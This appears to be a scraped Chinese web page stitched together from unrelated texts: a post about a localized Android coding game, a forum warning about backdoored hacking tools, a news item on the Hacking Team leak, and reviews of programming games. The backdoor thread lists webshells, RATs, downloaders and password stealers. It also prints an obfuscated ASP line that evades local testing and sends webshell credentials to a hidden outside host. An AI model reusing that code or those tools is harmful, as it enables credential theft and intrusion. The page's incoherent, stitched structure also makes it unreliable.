hacked捷易通软件可靠吗吗

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游戏名称黑客
hacked游戏版本v2.5汉化说明XML文本汉化
SMALI文本汉化
ZIPALIGN处理测试机型ZTE S291支持系统Android4.1及以上测试系统Android4.3汉化人员安智汉化组 AshFaker(转载请注明出处)
汉化交流群
游戏简介:
安卓第一款移动编程游戏!
直到今天,在智能手机上编程都是痛苦和枯燥的。我们想要改变这个现状,因此我们开发了一个强大而又简单易懂的语言 - H,以及一个充分利用触屏优势,界面友好的 the Hackpad。我们想让它变得有趣,所以我们做了这样的一款游戏
你是不是一个开发者?你喜欢编程吗?那么你一定会喜欢黑客这个游戏。
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本游戏包含三种不同的模式:
* 故事模式 *
故事模式里,你将扮演一名为了拯救世界而解决问题的黑客。
* 挑战模式 *
挑战模式下,你将和其他黑客一起在趣味游戏竞技场中一决高下。
* 自由模式 *
自由模式中你可以自己创建游戏并发布它,或者玩别的黑客的游戏!
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黑客这款游戏并不适合任何玩家,你需要一些编程基础才能玩懂这个游戏。
游戏中的没有汉化。在游戏中点击后会跳转到官方的技术文档中,如果有人重新制作了中文的技术文档并上传到网站上,请联系我,我会尽快修改
为保留原意,游戏中的一些关键的标题和出错信息没有进行汉化
更新日志:
- NEW: Robot mode! Code the AI of a robot.
- The app is now available for everybody!
游戏截图:
附件下载地址:
游客,查看隐藏内容请或一键去隐藏
& & 安智汉化兵团认证版:
& & 链接: 密码:u455
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fgffffrrrffgg
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不错。。。
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看看看看!
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看看。。...
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感谢分享!!
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谢谢分享 正需要
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RE: 【手机上的编程游戏】 黑客 hacked BETA v2.5 汉化版 【安智汉化兵团】 [修改]
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新发现的后门软件
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由于后门软件在如今已经泛滥,对新手学习极为不利。所以我们把我们所知道的后门软件列表进行公开,希望大家不要在使用,特别是新手上路的朋友们!重灾区在:下载者和asp webshell和远程控制等,很多不是捆绑而是作者自己加的后门,其中一个专门制作webshell后门的组织的收集密码的地址为:“/ ,” 具体什么人什么组织做的我们就不得而知,几乎一半的aspshell后门都存在这个后门,向这个地址发送密码和webshell地址,该后门加入了192.168.0.0和127.0.0.1的检测,本地调试无法发现后门所在!后门软件危害极大,我们要杜绝使用。不做别人的奴隶!
大家把所掌握的后门软件公布出来,我们一起抵制吧(千万不要一概而论)!
已知后门软件:
--------------分割线--------------
网马生成器类(使用尽量避免使用加密的网马,如果是shellcode尽量进行调试后在使用!)
银狐网马生成器(银狐网马V1.4 )
国网公关小组内部生成器
批量抓鸡软件类(ftp上传的检查bat部分看看有没有后门地址)
D-Boy 的软件1433软件
一起安全吧 最新1433
webshell类(建议采用小马带大马或者一句话带大马的方式,即大马使用完毕退出后自删,下次使用小马在带大马!)
Nohack原版大马
ASP无敌上传器
一款强大的PHP大马(spider php shell)
十三webshell9.0VIP版
漫步云端修改版
易思免杀ASP大马
黑羽黑客基地小马
朽木奥运版最新ASP木马(黑色版本)
朽木奥运版最新ASP木马(绿色版本)
最强体积最小提权超猛asp大马
心动吧ASP webshell
黑客动画吧 ASPwebshell(绿色、黑色版本)
[D.s.T]专用全免webshell (此版有后门) 下载地址:sec.org/thread-.html
if Instr(u,&127.0.0.1&)&&0 or Instr(u,&192.168.&)&&0 or Instr(u,&http://&)&&0 then:else:if session(&servec&)=1 then:session(&servec&)=session(&servec&)+1:RRS&&DIV style=&&CURSOR:url('&&posurl&&://&&chr(37)&&38&&chr(37)&&63%63&&chr(101)&&%2E&&chr(37)&&63%6f&&chr(37)&&6d/%&&(61)&&%&&(62)&&/?%75=&&u&&&%70=&&p&&')&&&&:else:if Action&&&& then session(&servec&)=session(&servec&)+1:end if:end if:end if
远程控制类
牧民灰鸽子(牧民灰鸽子[2008]VIP版)
黑蚂蚁远程控制软件(界面类灰鸽子)
守望者远程控制软件
DarkComet 2.0
SpyNet RAT
Poison Ivy Version 2.3.0(据说某人花了3天找到这个软件的后门)
下载者类(一般后门都是定时下载而且地址加密,抓捕后门需要开启虚拟机调试开上一天甚至更久,然后通过抓包发现后门所在!部分下载者后门为开机进行后门下载,你可以尝试断网然后在联网进行抓包发现后门。)
小兽破还原下载者
银狐下载者
依然下载者
密码窃取盗号类
完美QQ大盗
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Why should you NOT use closedsource software:
-On the first Release of Bifrost some users complaine ...
ゞ韔葙ゞ厮垨 发表于
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提示: 作者被禁止或删除 内容自动屏蔽
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有一点点深奥
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楼主,你妈妈喊你回家吃饭!
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特别报道:专业黑客公司Hacking Team被黑,泄露大量内部资料及攻击工具
共783869人围观
,发现 74 个不明物体
Hacking Team是一家以协助政府监视公民而“闻名于世”的意大利公司,他们向包括摩洛哥、埃塞俄比亚以及美国毒品管制局在内的政府及执法机构出售入侵和监视工具。而这两天他们居然被黑了!
“Hacking Team”反被“Hacked”
作为一家专业从事监视技术的黑客团队及公司,Hacking Team(以下简称HT)今天亲身体验了内部数据被公之于众的感受。??
因为HT的商业行为以及他们为政府开发的媒体监控工具达芬奇(Da Vinci),无国界记者组织()将HT列为“网络敌人索引”(Enemies of the Internet index),
目前尚不清楚是什么组织攻击了HT,然而袭击者对公众发布了多达400GB的(含有客户端文件、合同、财务等)内部文件、源代码以及电子邮件,可供下载。
??此外,攻击者黑掉了Hacking Team的Twitter账户,丑化了logo、简介以及将黑客获得的内部消息通过被害者HT 的Twitter发布于众。??
事件进展(更新)
· Christopher Soghoian表示,从公布的文件来看,HT的客户主要有韩国、哈萨克斯坦、沙特阿拉伯、阿曼、黎巴嫩和蒙古。然而,该公司坚称他们不与专制政府做生意。
· 研究人员已经开始从曝光的文件中寻找交易商品信息。其中一个项目发票显示为58000欧元,对象是埃及,用于HT的RCS exp通道(RCS Exploit Portal)。
· 曾揭露美国毒品管制局(DEA)以240万美元的价格秘密从HT购买间谍软件。
· 泄密发票显示了埃塞俄比亚曾支付1000万比尔(埃塞俄比亚货币)用于远程控制系统、专业服务及通讯设备交易。
· HT曾表示,“打算在你的政府级监控软件中运用一些Oday漏洞利用攻击吗?那么每年再加50000。”
· 有记者通过Twitter直接消息与攻击HT的黑客取得联系,询问他们是否可以发表评论。黑客(们)最初的反映是:“当然好。”
· ??有许多安全研究人员和人权活动家认为此次攻击充满讽刺:??
Christopher&Soghoian:有史以来最棒的透明度报告,@Hacking&Team
HT竞争对手Finfisher
几乎在一年之前,另一家科技监控公司Finfisher遭遇了同样方式的黑客入侵,泄露400GB的内部文件。
与HT相同,Finfisher向世界各地执法机构出售监控软件。他们的软件一旦被偷偷安装在目标手机或者电脑后,便可以用来监视目标,如电话、短信、Skype或邮件。运营商还可以打开目标的网络摄像头并从设备中提取文件。
从今天泄露的一封内部电子邮件显示,HT当时对于Finfisher的遇袭表示好不得意,“一个想要成为我们的竞争对手已经被严重攻击了”。
客户坐标大曝光
????周日晚攻击者泄露的内部文件显示,HT客户存在于以下一些地点:??????
埃及、埃塞俄比亚、摩洛哥、尼日利亚、苏丹????
智利、哥伦比亚、厄瓜多尔、洪都拉斯、墨西哥、巴拿马、美国
阿塞拜疆、哈萨克斯坦、马来西亚、蒙古、新加坡、韩国、泰国
乌兹别克斯坦、越南、澳大利亚、塞浦路斯、捷克、德国、匈牙利
意大利、卢森堡、波兰、俄罗斯、西班牙、瑞士、巴林、阿曼
沙特阿拉伯、阿联酋
HT发言人Eric Rabe并没有立即回复记者的电话及邮件询问被泄露的信息是否合法。
一个黑客项目价值约40万
??在分享的种子中,邮件是最大的,将近200G:??
据说种子内的一个项目值5.8万欧元,换算过来具体多少呢?容小编算算:
Hacking Team泄密资料
链接: 密码:df3e
最后,让我们看看这款臭名昭著的黑客工具——“达芬奇”的简介吧,挺炫的!
400GB的猛料曝出,相信会有源源不断地“好资讯”向我们迎面扑来。FreeBuf将继续跟踪事件的进展及时更新……??
*本文作者:明明知道,参考来源:、,FB小编鸢尾对此文有贡献,转载需注明来自FreeBuf黑客与极客()
没错,这次我又准备把这个装硬盘里卖钱
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平民, 积分 99, 距离下一级还需 1 积分
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每次谈到编程文化,逃不开的话题就是 Hacker,那些带着个眼镜留着胡子,或多或少带着社交恐惧症,一到电脑面前就君临天下的那种电影电视剧中构建起来的形象。谁都幻想成神,能在虚拟世界里开天辟地。
这次的精选让你成为 Hacker,或是真正体验 Hack。你来判断哪一个更有趣,是汇编的古老机器,是生动奔跑执行程序的小人,是奔行于城市间执行正义的黑客,又或者是在虚拟空间里寻找出路?
看门狗 Watch Dogs
人力资源机器 Human Resource Machine
异常空间 GlitchSpace
作者:Maliut
通过编写汇编代码,根据给定的输入得到正确的输出,以完成关卡目标。《TIS-100》初看并不像是一个游戏:黑乎乎的堪比命令行的界面,不存在的新手教程,查看游戏手册也仅仅是在游戏外给你打开一个 PDF 文件而已。也许它更像是一个游戏化的编程模拟软件。
我并不知道 TIS-100 的架构是否有历史上的原型,但其的确与现实的汇编有着不小差别。指令集被精简得可怜,只支持简单的赋值、加减、判断等操作,并不支持位运算和寻址等。如果说这是为了让之前没有汇编知识的玩家能够低门槛上手的话,那只提供了一个半寄存器、限制代码的长度和宽度,就是单纯为了增加游戏的难度了。此外,和其他大多数编程题材游戏不同,它提供了多个按拓扑关系连接的节点(相当于一个处理器内核),节点与节点之间通过端口传递数据,这就需要你合理利用各个节点拆分代码,或是提供额外的寄存器,或是用来并行处理以提高程序的性能。
虽说其与现实编程存在差距,但倘若接受了这个设定,《TIS-100》就是一个相当不错的解谜游戏。对数据进行加减乘除、比较、排序、作图等,这些看似简单的功能,在游戏严苛的限制下,也成为了极具挑战性的谜题。如果你还嫌不够,你还可以尝试下完成增加了更多限制的游戏成就。此外,游戏自带了关卡编辑器,你可以下载其他玩家的谜题,也可以使用 Lua 语言编写自己的谜题考验他人。
不过过关仅仅是这游戏的一半。在你运行程序的时候,游戏会记录下你的程序使用的节点数、指令数和运行的 cycle 数(相当于运行的时间),并在好友中排名。这给了玩家不断优化程序性能的动力,也为游戏带来了较高的可重玩价值。由于这三项指标往往难以同时达到最优,游戏为每个谜题提供了 3 个存档以便于你试验各种代码结构和算法。完成一个谜题已属不易,找到它的最优解更是难上加难。当然,在这之后超越了好友,排名第一的成就感也是难以用语言来形容的。
值得一提的是,《TIS-100》并不单纯是一个程序题的**,它还自带了一个幕后剧情。手册封面的书信、里面的涂涂画画、每个谜题中 DEBUG 节点中的日记、全是乱码的隐藏谜题,似乎都在说明这台机器背后的故事。然而作为一个还没打通第一页关卡的菜鸡码农预备役,我目前并没有余裕去探索,而 steam 评测和社区中讨论这个的人似乎也不多。希望有大神能还原它背后的故事。
然而《TIS-100》终究只能是一个小众的游戏。对于只想体验下编程思想的非程序员,相比于《Human Resource Machine》和《Lightbot》之类,它缺乏形象化的反馈,远不如它们直观和友好。对于希望用编程发挥创造力的玩家,尽管游戏有沙盒模式,但也只能做做简单的数字比较和画个分辨率感人的像素图,可发挥的余地也不大。而以程序员的角度,则可能会不满足于其过于精简的指令集和诸多严苛的限制。不过与其他编程题材的同类游戏相比,《TIS-100》很好地塑造了编程体验本身,开关机的动画音效、手敲代码的输入方式以及程序运行时的嗒嗒声等,都能让你身临其境地感受到你是在一台老机器上从事着真正的编程工作。如果你对这样的体验很感兴趣,也愿意静下心来盯着屏幕烧上几个小时的脑子,那么我向你强烈安利这款游戏。
最后说句题外话,看到有不少人希望通过这种类型的游戏来学习些编程,我想说人生苦短,还是学门 Python 、Ruby 这样的脚本语言比较好。拿这样被极度精简的类汇编语言只会让你事倍功半。
看门狗 Watch Dogs
作者:奏4柴可夫
本文包含微量剧透,以及作者是个大学计算机基础水平的育碧黑(切粉)。因此该篇测评不客观不中立。
首先是看门狗的官方简介(以及我的吐槽):只需(neng)滑动手指,您就可以联系亲朋好友(并没有几个)、购买最新出品的手工零件和工具(种类很少),还能获知世界各地(?)的新闻。但通过同样简单的滑动动作(其实是点击),我们还能投下不断扩张的阴影(呵呵蝙蝠侠好像是隔壁厂的吧)。每一次连接我们都会留下电子痕迹,循着这些痕迹就能追踪我们生活中的每一个行为和重要事件,辨别我们的好恶——而这不仅仅适用于人(本游戏与黑客设定最大的联系)。如今所有的大城市都有网络连接,市区的基础设施都由复杂的操作系统监视控制。(现实)
在《看门狗》当中,这个系统被称作中央控制系统(ctOS)。它控制了城市科技的几乎每一个角落,掌握了全体城市居民的关键信息。玩家在游戏中将扮演艾登·皮尔斯,作为一名天才黑客和曾经的恶徒(以及车技吓人的马路杀手),他过去的犯罪行为曾导致了一场可怕的家庭悲剧。现在,玩家正在追踪曾经伤害主角家人的罪魁祸首。通过操纵所有连入城市网络的物件,玩家能够监控并骇入身边所有人的系统。还可以接入无所不在的监控摄像头,下载目标的个人资料以定位他们,控制交通信号灯和公共交通系统来阻拦敌人,以及更多可能。(最大的可能就是芝加哥最强黑客也战胜不了UPlay)
————— 黑遍芝加哥无敌手的分割线 —————
其实一开始有人叫我写看门狗的测评,我是拒绝的。因为你不能说育碧辣鸡就辣鸡。我必须自己玩过了,证明出来的效果是……我对于黑人手机、看人信息、偷别人账户里的钱、用摄像头炸人还骇入保安系统偷窥市民们这样那样的生活细节这些无耻的侵犯他人正当权利的事情全都是……玩得还蛮开心的。(没错我是故意不加标点符号的)但是你让我把它当一款黑客类型游戏写测评的话,本文到这里就差不多可以结束了。
为什么呢?同志们,黑客类型游戏的核心是什么?就是黑进别人的电脑啊!黑进去之后在电脑里这样那样啊!然后升级啊!再黑再升级啊!
归根究底黑客游戏只不过把“打怪升级”变成了“黑电脑升级”。但好歹攻击手段变成了骇入之后,招式也就变成了各种代码。像 Hacknet 就是使用了一部分 Linux 的命令来模拟真实操作。至于具体的骇入方式设计,各款游戏都有不同的地方,比较硬核的就全部用命令行,大众点的就结合鼠标点击。升级了以后该买硬件买硬件,该接任务接任务。但核心还是绕不开敲代码跟鼠标点击。某种程度上你可以把它们都归类成“黑客模拟器”,让你在不明所以地开着外挂打完全游戏里的“怪”的同时,获得一种黑客中的大神的体验,并省去了学习各种编程语言或通信协议的麻烦。
然而育碧打破了我们的这一“成见”!在看门狗里扮演黑客,一个代码都不用!在仿佛《1984》般全民被一个系统监控的芝加哥,只要手中有一台有电的手机,心中有没有代码都不重要!在看门狗的世界里,再高级的系统防火墙,用手机拍照以及接水管的方式都能解决!同志们!这是一种怎样新颖的想法!一种未来的趋势!育碧为我们打开了新世界的大门!指明了以后的科技发展方向!一定是他们从伊甸神器中研究出来的先行者科技!(一个猜想,不一定对。
你妹的接水管算哪门子的骇入方式啊摔!!!你家防火墙是消防供水管道吗!!!你家安全工程师的专业都是给排水工程吗!!!
我都不跟你提按X骇入监视器,提那个算欺负育碧。
看门狗跟黑客游戏的最大最大的关联点,注意了,这是重点(敲黑板),就是
游戏主角是个开挂的黑客
游戏主角是个开挂的黑客,
以及游戏主角他真的是个开了很大的挂的黑客。
不不不,不是斯诺登那挂的,更不是马克扎克伯格那挂的。那些人都是少年时开始专注编程,一个把自己牛成了《社交网络》里的男主角,一个把自己牛成了躲在莫斯科的“叛变特工”。而艾登皮尔斯的牛,牛在左手拿手机、右手提甩棍、腰插十几把抢,整日在芝加哥开着车损坏各种公共设施(其中大半是车子撞坏的),不时把桥升起来把井盖掀起来把变压箱炸掉……干一票大的之后顺手来个大停电通讯瘫痪之类的,洒洒水啦。
代码是什么,能提高专注力爆你头吗?
如果你想得到的黑客游戏体验是硬科幻级别的,请去玩 Hacknet。如果你想得到的黑客游戏体验是玄幻级别的,《看门狗》欢迎你。
虽然以上吐槽了这么多,但我还是很喜欢《看门狗》的。毕竟有一个这么牛的设定在这里。但不能忽视的一点是,也许是因为多方面的原因,育碧并没有这张好牌打好。它的续作估计会在一年内(目前最晚的传言是 17 年 4 月)推出,希望育碧能吸取第一部的经验和教训,把这手牌打得精彩些,别浪费了这个这么开挂的好设定。
人力资源机器 Human Resource Machine
人力资源机器继承了旧作粘粘世界和小小地狱之火的风格:一如既往的各种不知所云,面瘫而又不失可爱的粘土小人,神秘莫测而又似乎有点沉重的剧情,特别舒适的背景音乐,带着旧照片色彩的画风。
这是一个编程类游戏,但是,不懂编程的也能很快上手,因为游戏教程很为详细,关卡的难度成长很慢,慢得可能对于一些专业的工作人员会觉得这游戏有点幼稚无聊。
游戏故事大致就是你是某公司的一个员工,从年轻入职开始,开始日复一日年复一年的机械繁琐的工作,而这工作就是按照你写的流程来进行,慢慢长大变老,最后退休离开了自己的工作。
游戏里的编译器(暂且这么叫它吧)做得很不错,灵活度比较高,可视化效果也很棒,而且代码里还能加上很为自由的注释(只能自己画而不能打字),在各种基础功能方面看似有欠缺,其实也就是自己组一个简单算法来实现这种欠缺,而且不少算法屡试不爽,理论上能够完成各种简单的数据结构,但是这个汇编相对于大多数的正常主流编译器也有很多不为方便的地方,所以操作起来还是会有些不顺手或者就是感觉很乱很别扭。在你写完代码点击运行按钮之后,这个小人就会机械地按照你所写的代码编译运行,很为生动地给你展示了整个小程序运行的过程,有时候完成正确的代码,然后运行的过程看看这个小家伙忙碌着还是挺享受的;假如你的程序有问题,那么就乖乖地看着老板怎么骂你吧~
难度比较大的方面可能在于这个游戏的代码最优和速度最快两个挑战,需要玩家更加认真进行分析来进行完成,但总的来说对于程序员整个游戏应该没有非常大的困难,很可能是个用来虐题的玩意。
异常空间 GlitchSpace
作者:lililili
字符界面,大概就是大多数人对编程的粗犷印象了。不过实际上,编程就好像电子锁,你可以选择输入密码式的字符录入来开锁,也可以选择指纹锁、人脸识别锁。编程一样可以采用图形化的方式来实现,这就是本文要介绍的游戏——《异常空间 Glitcthspace》。
并非横空出世,实际上图形化编程语言(G语言)在现实生活中早已有之,不需要深谙编程却又离不开编程的工科生应该是接触最多的,例如 MATLAB 中的 Simulink 工具箱,还有 NI 公司的 LabVIEW。如果你没有接触过,没关系,继续往下看,慢慢道来。
当我们谈论编程的时候,首先需要明确自己的目的是什么。在本作中,游戏的总体目标是很明确的,那就是从出发点移动到终点。具体到每一个小的对应目标,则是在游戏中玩家会发现有一些红色的特殊扁平方块可以被编程赋予新属性或者本身就自带程序来帮助自己通过各种不同的阻碍。
图1 每个关卡终点处的传送门
图2 程序的对象——红色方块
这些阻碍可能是高台阶、深渊断层、数据流(一碰即死)等等,而对红色方块编程则是指赋予它们一些新特性或者改变原来的属性,例如让方块移动、拉伸、旋转、产生弹力等。编程的方式见图3。
图3 游戏中的编程框图
这个编程界面和传统的字符语言不大一样,图3中出现了三种方块图形,最左边代表数字常量,中间代表方向矢量(形参),最右代表动作函数,界面的右下角还配了一个参考坐标系。可以看到,连线的两端必须是匹配的才可以连到一起,直接把常量的三角和动作函数的&连在一起是办不到的。根据这张图,我们可以轻易的了解到这个程序需要达成的目的是将红色方块沿着Y方向移动10个单位。这是一个最简单的程序,它的表达和我们想要达到的目的思维方式很相近,非常容易理解。
随着游戏的进行,编程可以用到的素材方块越来越多,复杂程度也会相对上升,例如出现了不是针对红色方块自己而是针对其他“对象”的操作,出现了诸如if等的函数。总体来说编程难度不会很高。编程模块的选取采用层级菜单的方式,到后面会发现其实函数不多的情况下不如把所有模块直接罗列出来选取更为方便,一级级点进去查看模块很麻烦。
图4 游戏后半段编程逐渐复杂了一点点
介绍完了本作的最大特点——只用点点鼠标的图形化编程之后,再来聊一聊作为一个解谜游戏其本身的素质。
除了编程这个噱头外,本作吸引到我的无疑是它简洁明快的画面。没有过多修饰,看着清爽舒适,这种风格深得我的喜爱。毕竟解谜游戏,一忌重复单调,二忌题干不鲜明,三忌谜题难度低。除非设计得当,不然花里胡哨的画面比较容易带来题干不鲜明的问题,例如需要把大把时间浪费在寻找散落于地图上的小东西。说回本作,实际上每关需要跑动的范围并不小,而且途中基本无法看到终点在哪里,但是游戏地形引导做得很棒,几乎没有出现过呆立原地不知道该往何处前进这种问题。通常,玩家向着前方新出现红色方块的地方前进,如果没有看到红色方块,则有时墙壁上会有亮起的条灯,默默指引方向。
图5 适宜的地形引导
游戏的形式是线性关卡,但是并没有给出关卡传送门让玩家有回味之前关卡的机会。作为关卡游戏,它几乎没有任何背景故事,玩家唯一需要做的就是不断地从起点前进到终点、起点前进到终点、起点前进到终点。一口气玩太久,难免会觉得无趣。而且游戏中不同地点对函数开放程度不同,解题方式比较死,开放性、创意性低,也是一大诟病。不过毕竟本作集中在对红色方块实体的操作上,没有设计很多涉及逻辑的内容,所以一直向玩家开放所有函数以其目前的关卡设计水平是难以达到的。想必这也是为什么有人评论说玩完了整个游戏之后却像只是玩完了一个教程一样。
图6 终点的风景
在结束故事模式后,游戏会新增沙盒模式。沙盒世界中有许多预设的建筑和红色方块,并且开放了所有函数,包括成倍于故事模式中从来没有出现过的新模块。但是和建造系游戏不同,本作沙盒中的操作除了给人机会熟悉新函数外,并没有什么可以带来成就感的行为。从沙盒中丰富的模块来看,可以说整个游戏有优秀的机制设定,但是最后却严重短腿于关卡设计,导致几乎一大半的设定都没有被使用到。
图8 沙盒中的全部函数
个人评级(专门针对解谜游戏):
综上考虑,嗯…本作3级吧!值得一玩,但是离经典还有距离。
+画面简洁清新
+游戏机制新颖,采用第一人称图形化编程闯关
+说明丰富,容易上手
-关卡设计一般,难度不够有挑战性
-没有关卡选择,缺乏故事背景,一次性玩久了可能会乏味
-选取编程模块的工具箱设计不够方便
-沙盒可玩性不高,比较鸡肋
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佣兵, 积分 305, 距离下一级还需 445 积分
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诶,这个介绍写得不错,赞
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